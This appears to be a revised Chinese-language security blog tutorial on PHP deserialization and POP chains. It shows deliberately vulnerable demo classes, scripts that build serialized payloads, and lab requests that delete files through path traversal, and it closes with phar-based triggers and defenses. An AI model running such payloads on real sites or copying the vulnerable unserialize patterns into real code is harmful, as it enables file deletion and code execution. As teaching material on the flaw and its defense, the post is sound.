初探反序列化与 POP CHAIN
最近在整理 2017 年写的反序列化与 POP CHAIN 入门文章,当时这是一篇带萌新初探的笔记,重读下来原理部分依然成立,但这几年 PHP 反序列化的攻击面已经扩展了不少——phar 流包装器让反序列化不再局限于 unserialize() 入口、PHP 8 引入了 __serialize/__unserialize 取代 Serializable 接口、phpggc 这类工具把主流框架的 gadget chain 整理成了「即插即用」的弹药库。借着修订的机会,把原文的三个示例保留下来作为入门骨架,再在关键节点用侧边备注补上这些年发生的变化,让这篇 2017 年的小文不至于停在 2017。
背景
什么是 POP CHAIN?这里给出我自己的理解:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是 POP CHAIN。此时类中所有的敏感属性都属于可控的。当 unserialize() 传入的参数可控,便可以通过反序列化漏洞控制 POP CHAIN 达到利用特定漏洞的效果。
反序列化漏洞原理
从一个基础的反序列化漏洞示例回顾下利用过程。如下代码使用了 __destruct() 魔术方法,在 PHP 程序执行完毕后触发,执行后会删除网站临时文件夹 /var/www/html/cache/tmp/ 下名为 $cache_file 的文件。由于 unserialize($_GET['data']) 参数可控,满足了「反序列化函数可控、魔术方法可触发、魔术方法内的属性可控」这三个条件,所以此处存在反序列化漏洞,且可以利用路径穿越来删除任意文件。
<?php
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/html/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
$user_data = unserialize($_GET['data']);
?>
在站点根目录下创建文件名为 thinking1 的测试文件,然后用如下代码构造 payload,删除 /var/www/html 下的 thinking1:
<?php
class Example1
{
public $cache_file = '../../thinking1';
}
$evil = new Example1;
echo serialize($evil);
?>
输出:
O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}
提交请求:
http://192.168.163.136/test.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}
请求结束后 /var/www/html 下的 thinking1 文件便被删除了。这个示例里,反序列化漏洞的关键代码直接放在魔术方法中——只要属性可控,删文件就发生了。
跟踪数据流
上面的 Example1 中任意文件删除的关键代码是直接放在魔术方法里,接下来稍微修改一下,把漏洞代码写在普通方法 Delete() 中,在 __destruct() 里设置一个条件,满足时才调用 Delete()。同样的 unserialize($_GET['data']) 参数可控、__destruct() 可触发,现在需要额外跟踪 $this->Delete($this->cache_file) 里的数据传输过程,找到 Delete() 方法里的删除逻辑。
<?php
class Example2
{
public $cache_file;
public $condition;
function __construct()
{
// some PHP code...
}
function __destruct()
{
if ($this->condition === 'balabala') {
$this->Delete($this->cache_file);
}
}
function Delete($filename)
{
$file = "/var/www/html/cache/tmp/{$filename}";
if (file_exists($file)) @unlink($file);
}
}
$user_data = unserialize($_GET['data']);
?>
构造 payload(同时控制 $cache_file 和 $condition 两个属性):
<?php
class Example2
{
public $cache_file = '../../thinking2';
public $condition = 'balabala';
}
$evil = new Example2();
echo serialize($evil);
?>
输出:
O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}
请求结束后 /var/www/html 下的 thinking2 文件被删除。Example2 比 Example1 多了一步——在本类内跟踪魔术方法到普通方法的数据流。
POP CHAIN 构造
接下来 Example3、Example4、Example5 需要在类与类之间跟踪数据传输。Example3 的 __toString 魔术方法调用了 Delete() 方法,并且 unserialize($_GET['data']) 与 echo $user_data 同时满足「反序列化函数可控」和「魔术方法 __toString 可触发(被 echo 调用)」两个条件。
跟踪 Delete() 方法,发现 Example5 里是一个「做了安全处理」的 Delete()(只是 return 一个字符串,没有任何危险操作),而 Example4 里也存在一个同名 Delete() 方法,但该方法存在安全问题——它会删除 $this->cache_file 指向的文件。
<?php
class Example3
{
protected $obj;
function __construct()
{
$this->obj = new Example5;
}
function __toString()
{
if (isset($this->obj)) return $this->obj->Delete();
}
}
class Example4
{
public $cache_file;
function Delete()
{
$file = "/var/www/html/cache/tmp/{$this->cache_file}";
if (file_exists($file)) {
@unlink($file);
}
return 'I am a evil Delete function';
}
}
class Example5
{
function Delete()
{
return 'I am a safe Delete function';
}
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>
由 protected $obj 与 $this->obj = new Example5 可以知道,$obj 传入的是受保护的属性(序列化后需要在星号 * 前后加上 %00,即 \00*\00)。因此可以通过反序列化把 $obj 设置为 Example4,于是 __toString 调用的是 Example4 中存在安全问题的 Delete(),导致任意文件删除漏洞。
构造 payload:
<?php
class Example3
{
protected $obj;
function __construct()
{
$this->obj = new Example4;
}
}
class Example4
{
public $cache_file = '../../thinking3';
}
$evil = new Example3();
echo urlencode(serialize($evil));
?>
输出(已 URL 编码,因为 protected 属性序列化后含 \00 字节,必须编码才能安全传输):
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
提交请求后 /var/www/html 下的 thinking3 文件被删除。回头看看开篇对 POP CHAIN 的定义——把魔术方法(__toString)作为起点,调用同名方法(Delete),再关联到类(Example4)中的敏感属性($cache_file),这正是一个完整的 POP CHAIN。
攻击面扩展:phar 反序列化
到这里,POP CHAIN 的入门骨架已经讲完。但 2017 年原文只覆盖了「unserialize() 入口可控」这一种触发路径,而 2017 年下半年 Sam Thomas 在 BlackHat US 公布的研究把攻击面扩大了一倍——phar 流包装器。
phar 是 PHP 的归档格式(类似 Java 的 jar),可以通过 phar:// 协议访问归档内的文件。关键点在于:当任何文件操作函数(file_exists、is_dir、is_file、file_get_contents、fopen、filesize、copy、unlink、stat 等十几个函数)的参数是 phar://path/to/archive.phar 时,PHP 会反序列化 phar 的 manifest 中存储的对象——这意味着不需要 unserialize() 函数被调用,只要有可控的文件操作参数,且攻击者能上传一个 phar 文件(哪怕是改了后缀的图片),就能触发反序列化。
现代发展:框架 gadget chain 与 PHP 8 变化
2017 年原文里举的例子都是手写的 demo 类,实战中几乎不可能这么干净。真实的 PHP 应用往往依赖大量第三方库(Composer),每个库里都可能存在可被利用的魔术方法和敏感属性——这就形成了「框架 gadget chain」的研究方向。
phpggc(PHP Gadget Chain Collection)是这个方向上最知名的工具,它维护了 Laravel、Symfony、Monolog、Guzzle、Doctrine、SwiftMailer、WordPress 等主流框架和库的反序列化利用链。审计时只要找到一个 unserialize() 可控点,再确认目标应用包含 phpggc 中已收录的某个框架版本,就可以直接套用对应的 gadget chain 实现 RCE 或文件写入——这把 POP CHAIN 的构造从「手工跟踪」推进到了「弹药库即插即用」的阶段。
防御
反序列化漏洞的防御其实很直接,关键在于「不要让 unserialize() 处理任何用户可控的数据」:
- 优先用
json_encode/json_decode替代serialize/unserialize:JSON 只能表达数据结构,不会触发魔术方法,从根本上消除了 POP CHAIN 的攻击面 - 必须用
unserialize()时,限制可实例化的类:PHP 7.1+ 支持unserialize($data, ['allowed_classes' => ['SafeClass']])或['allowed_classes' => false](完全禁止实例化任何类),这是最直接的缓解措施 - phar 协议白名单:对所有文件操作函数的输入做协议白名单过滤,禁止
phar://、php://、file://等危险协议;PHP 8.0+ 可通过phar.require_hash和stream_wrapper_unregister('phar')进一步收紧 - 依赖审计:定期用
composer audit检查依赖库的已知漏洞;关注 phpggc 是否收录了项目使用的框架版本,被收录就意味着一旦出现unserialize入口就会被秒级 weaponized - 签名与完整性校验:序列化数据传输时附加 HMAC 签名,反序列化前校验签名,避免数据被篡改注入恶意对象
写在最后
反序列化漏洞的核心是一个典型的「声明与实现的一致性缝隙」:unserialize() 的本意是恢复对象状态,但它隐式地把「恢复状态」与「触发魔术方法」两件事绑在了一起——开发者以为自己只是在反序列化数据,却不知道每一次反序列化都可能启动一长串自动调用。POP CHAIN 的本质就是把这个一致性缝隙顺着同名方法和可控属性一路延伸,直到触达某个敏感函数。phar 反序列化把这个缝隙又扩大了一道——连 unserialize() 都不需要,只要文件操作函数吃了 phar://,缝隙就裂开了。
安全是一场持久战。PHP 8 在努力把 Serializable 这种「让用户自己处理反序列化字符串」的危险接口往回收,但只要 __wakeup、__destruct、__toString 这些魔术方法还在,POP CHAIN 的攻击面就不会消失——它只会随着新框架、新库的出现而不断刷新弹药库。对开发者而言,「不要 unserialize 用户输入」是底线;对安全研究者而言,跟踪主流框架的 gadget chain 演化则是一场持续的修行。
参考链接:
- 离别歌:https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
- seebug:https://paper.seebug.org/39/
- l3m0n:https://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html
- l3m0n:https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
- OWASP PHP Object Injection:https://www.owasp.org/index.php/PHP_Object_Injection
- Sam Thomas - It’s a PHP Unserialize Vulnerability Jim, But Not As We Know It (BlackHat US 2017):https://github.com/s-n-t/php_auditor_toolkit
- phpggc - PHP Gadget Chain Collection:https://github.com/ambionics/phpggc
- PHP RFC: New custom object serialization:https://wiki.php.net/rfc/custom_object_serialization